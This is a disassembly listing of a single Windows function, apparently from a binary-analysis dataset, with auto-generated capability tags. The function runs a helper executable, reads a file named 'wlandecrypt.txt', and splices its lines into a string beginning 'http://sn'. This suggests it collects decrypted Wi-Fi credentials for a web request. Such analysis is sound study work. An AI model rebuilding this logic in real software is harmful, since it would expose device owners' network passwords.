Function at 0x4bda00
Capabilities:
Check if file exists
Create process on windows
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5642a9
mov eax, dword fs:[0]
push eax
mov eax, 0x2984
call fcn.00535d00
mov eax, dword [0x5bf500]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x293c], 0
push 0xf
mov dword [edi + 0x14], 7
mov dword [edi + 0x10], 0
push str.url_extra_name_n
mov dword [ebp - 0x294c], edi
mov word [edi], ax
call fcn.00404140
mov dword [ebp - 4], 0
push ecx
lea ecx, [ebp - 0x2858]
mov dword [ebp - 0x293c], 1
mov dword [ebp - 0x2938], 1
call fcn.004bc4b0
add esp, 4
mov dword [ebp - 4], 1
cmp dword [ebp - 0x2848], 0
jbe 0x4bdb87
cmp dword [ebp - 0x2844], 8
lea eax, [ebp - 0x2858]
cmovae eax, dword [ebp - 0x2858]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4bdb87
push 0x3c
lea eax, [ebp - 0x298c]
push 0
push eax
call fcn.00525d00
add esp, 0xc
mov dword [ebp - 0x298c], 0x3c
cmp dword [ebp - 0x2844], 8
lea eax, [ebp - 0x2858]
mov dword [ebp - 0x2988], 0x440
cmovae eax, dword [ebp - 0x2858]
mov dword [ebp - 0x297c], eax
lea eax, [ebp - 0x298c]
push eax
mov dword [ebp - 0x2980], str.open
mov dword [ebp - 0x2984], 0
mov dword [ebp - 0x2978], str.LPPULL
mov dword [ebp - 0x2974], 0
mov dword [ebp - 0x2970], 0
mov dword [ebp - 0x296c], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x4bdb87
push 0xffffffffffffffff
push dword [ebp - 0x2954]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x2938]
push eax
push dword [ebp - 0x2954]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x2954]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x2938], 0
jne 0x4be002
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2934], esp
push 0x58d0e4
call fcn.00403ff0
mov byte [ebp - 4], 2
push ecx
mov byte [ebp - 4], 1
lea edx, [ebp - 0x2010]
call fcn.00425870
add esp, 0x1c
test eax, eax
jle 0x4be002
lea eax, [ebp - 0x2010]
push eax
lea ecx, [ebp - 0x2840]
call fcn.00403ff0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2840]
push 0xf
push str.wlandecrypt.txt
call fcn.00404c80
cmp dword [ebp - 0x282c], 8
lea eax, [ebp - 0x2840]
push 0x5933d8
cmovae eax, dword [ebp - 0x2840]
push eax
lea eax, [ebp - 0x2934]
mov dword [ebp - 0x2934], 0
push eax
call fcn.005243ac
add esp, 0xc
test eax, eax
jne 0x4bdfad
cmp dword [ebp - 0x2934], eax
je 0x4bdfad
mov dword [ebp - 0x2944], eax
mov dword [ebp - 0x2940], eax
call fcn.004c1130
mov dword [ebp - 0x2944], eax
mov byte [ebp - 4], 8
xor bh, bh
xor bl, bl
mov dword [ebp - 0x2818], 0
xor eax, eax
mov dword [ebp - 0x2814], 0
mov dword [ebp - 0x2814], 7
mov dword [ebp - 0x2818], 0
mov word [ebp - 0x2828], ax
mov byte [ebp - 4], 9
mov dword [ebp - 0x2878], eax
mov dword [ebp - 0x2874], eax
mov dword [ebp - 0x2874], 7
mov dword [ebp - 0x2878], eax
mov word [ebp - 0x2888], ax
mov byte [ebp - 4], 0xa
push dword [ebp - 0x2934]
lea eax, [ebp - 0x2810]
push 0x400
push eax
call fcn.00521f77
add esp, 0xc
test eax, eax
je 0x4bdf68
lea eax, [ebp - 0x2810]
push eax
lea ecx, [ebp - 0x2870]
call fcn.00403ff0
mov byte [ebp - 4], 0xb
push 1
push 0x58d738
push dword [ebp - 0x2860]
push ecx
lea ecx, [ebp - 0x2870]
call fcn.00405220
test bl, bl
jne 0x4bdd7c
test eax, eax
je 0x4bdf2e
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x2870]
push eax
lea ecx, [ebp - 0x2828]
call fcn.004044f0
push ecx
push 0x58d738
lea ecx, [ebp - 0x2828]
call fcn.004c0a30
mov ecx, dword [ebp - 0x2818]
dec ecx
cmp eax, ecx
jne 0x4bdd75
push ecx
push 0
lea eax, [ebp - 0x28e8]
push eax
lea ecx, [ebp - 0x2828]
call fcn.004042c0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2828]
push eax
call fcn.00404080
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x28e8]
call fcn.004040c0
mov bl, 1
jmp 0x4bdf2e
test eax, eax
je 0x4bdd9b
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x2870]
push eax
lea ecx, [ebp - 0x2888]
call fcn.00404bb0
jmp 0x4bdf2e
push 0x58d738
sub esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x2948], esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp - 0x2828]
push eax
call fcn.004044f0
mov byte [ebp - 4], 0xd
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x2900]
call fcn.004bd770
add esp, 0x18
mov byte [ebp - 4], 0xe
push eax
push 0x591cec
sub esp, 0x18
xor eax, eax
mov esi, esp
mov dword [ebp - 0x2948], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2950], esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp - 0x2888]
push eax
call fcn.004044f0
mov byte [ebp - 4], 0xf
mov byte [ebp - 4], 0xe
mov ecx, esi
call fcn.004bc680
add esp, 0x18
mov byte [ebp - 4], 0x10
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x2918]
call fcn.004bd770
mov byte [ebp - 4], 0x11
mov edx, str.http:__sn_
push eax
lea ecx, [ebp - 0x2930]
call fcn.0042bfe0
add esp, 0x1c
mov byte [ebp - 4], 0x12
mov edx, eax
lea ecx, [ebp - 0x28d0]
call fcn.00419d80
add esp, 4
mov byte [ebp - 4], 0x13
mov edx, eax
lea ecx, [ebp - 0x28b8]
call fcn.00419e30
add esp, 4
mov byte [ebp - 4], 0x14
mov edx, eax
lea ecx, [ebp - 0x28a0]
call fcn.00419d80
add esp, 4
mov byte [ebp - 4], 0x15
mov ecx, edi
push 0xffffffffffffffff
push 0
push eax
call fcn.00404bb0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x28a0]
call fcn.004040c0
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x28b8]
call fcn.004040c0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x28d0]
call fcn.004040c0
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x2930]
call fcn.004040c0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x2918]
call fcn.004040c0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x2900]
call fcn.004040c0
push 0x58d0e4
lea ecx, [ebp - 0x2888]
call fcn.0041dbe0
lea ecx, [ebp - 0x2828]
cmp ecx, eax
je 0x4bdf2c
push 0xffffffffffffffff
push 0
push eax
call fcn.004044f0
xor bl, bl
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x285c], 8
jb 0x4bdf49
push dword [ebp - 0x2870]
call fcn.00443e80
add esp, 4
xor eax, eax
mov dword [ebp - 0x285c], 7
mov dword [ebp - 0x2860], 0
mov word [ebp - 0x2870], ax
jmp 0x4bdf6a
mov bh, 1
test bh, bh
je 0x4bdcb2
push dword [ebp - 0x2934]
call fcn.00520b12
add esp, 4
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x2888]
call fcn.004040c0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2828]
call fcn.004040c0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2944]
call fcn.004bc540
cmp dword [ebp - 0x282c], 8
lea eax, [ebp - 0x2840]
cmovae eax, dword [ebp - 0x2840]
push eax
call fcn.00521de1
add esp, 4
mov byte [ebp - 4], 1
cmp dword [ebp - 0x282c], 8
jb 0x4bdfe5
push dword [ebp - 0x2840]
call fcn.00443e80
add esp, 4
xor eax, eax
mov dword [ebp - 0x282c], 7
mov dword [ebp - 0x2830], 0
mov word [ebp - 0x2840], ax
mov byte [ebp - 4], 0
cmp dword [ebp - 0x2844], 8
jb 0x4be01d
push dword [ebp - 0x2858]
call fcn.00443e80
add esp, 4
xor eax, eax
mov dword [ebp - 0x2844], 7
mov dword [ebp - 0x2848], 0
mov word [ebp - 0x2858], ax
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0051ece9
mov esp, ebp
pop ebp
ret